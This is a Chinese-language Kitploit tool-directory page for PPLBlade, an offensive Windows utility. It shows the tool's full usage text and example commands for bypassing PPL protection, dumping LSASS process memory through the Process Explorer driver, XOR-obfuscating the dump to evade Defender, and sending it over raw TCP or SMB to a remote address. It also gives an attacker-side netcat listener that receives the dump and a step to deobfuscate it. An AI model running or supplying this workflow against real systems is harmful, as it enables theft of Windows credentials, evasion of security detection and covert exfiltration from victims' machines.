Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PPLBlade — 绕过PPL保护来转储LSASS进程内存,使用XOR混淆转储文件,并通过RAW或SMB远程外传,无需写入磁盘。 | Kitploit
工具/GitHubGitHub/tastypepperoni/pplblade
权限提升内存取证漏洞利用数据泄露后渗透利用
GitHubtastypepperoni/pplblade

PPLBlade

绕过PPL保护来转储LSASS进程内存,使用XOR混淆转储文件,并通过RAW或SMB远程外传,无需写入磁盘。

查看仓库
597632年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PPLBlade

受保护进程转储工具,支持混淆内存转储并通过网络传输到远程工作站,无需写入磁盘。

主要功能:

  1. 绕过 PPL 保护
  2. 混淆内存转储文件以规避 Defender 基于签名的检测机制
  3. 使用 RAW 和 SMB 上传方式上传内存转储,无需写入磁盘(无文件转储)

本工具所使用技术的概述可在此处找到:https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

请注意,PROCEXP15.SYS 列在源文件中是用于编译目的。它不需要与 PPLBlade.exe 一同传输到目标机器上。

它已嵌入到 PPLBlade.exe 中。该漏洞利用只是一个单独的可执行文件。

模式:

  1. Dump - 使用 PID 或进程名称转储进程内存
  2. Decrypt - 将混淆(--obfuscate)的转储文件恢复为其原始状态
  3. Cleanup - 手动清理,以防执行时出现问题(请注意,选项值应与要清理的执行时的值相同)
  4. DoThatLsassThing - 使用 Process Explorer 驱动程序转储 lsass.exe(基础 POC)

句柄模式:

  1. Direct - 直接使用 OpenProcess() 函数打开 PROCESS_ALL_ACCESS 句柄
  2. Procexp - 使用 PROCEXP152.sys 获取句柄
root@kitploit:~
Usage of PPLBlade.exe:
  -driver string
        Path where the driver file will be dropped (default: current directory)
  -dumpmode string
        Dump mode [local|network] (default "local")
  -dumpname string
        Name of the dump file (default "PPLBlade.dmp")
  -handle string
        Method to obtain target process handle [direct|procexp] (default "direct")
  -help
        Prints this help message
  -ip string
        IP of the remote server
  -key string
        XOR Key for obfuscation (default "PPLBlade")
  -mode string
        Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name string
        Process name of target process
  -network string
        Method for network transfer[raw|smb] (default "raw")
  -obfuscate
        Obfuscate dump file
  -pass string
        SMB password
  -pid int
        PID of target process (prioritized over process name)
  -port int
        PORT on the remote server
  -quiet
        Quiet mode
  -service string
        Name of the service (default "PPLBlade")
  -share string
        share name
  -user string
        SMB username

Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup

示例:

使用 PROCEXP152.sys 转储 lsass 的基础 POC:

root@kitploit:~
PPLBlade.exe --mode dothatlsassthing

(请注意,它不会对转储文件进行 XOR 操作,如果需要 XOR 功能,请添加 --obfuscate 标志)

将混淆后的 LSASS 转储上传到远程位置:

root@kitploit:~
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

攻击者主机:

root@kitploit:~
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

去混淆内存转储:

root@kitploit:~
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade
下载工具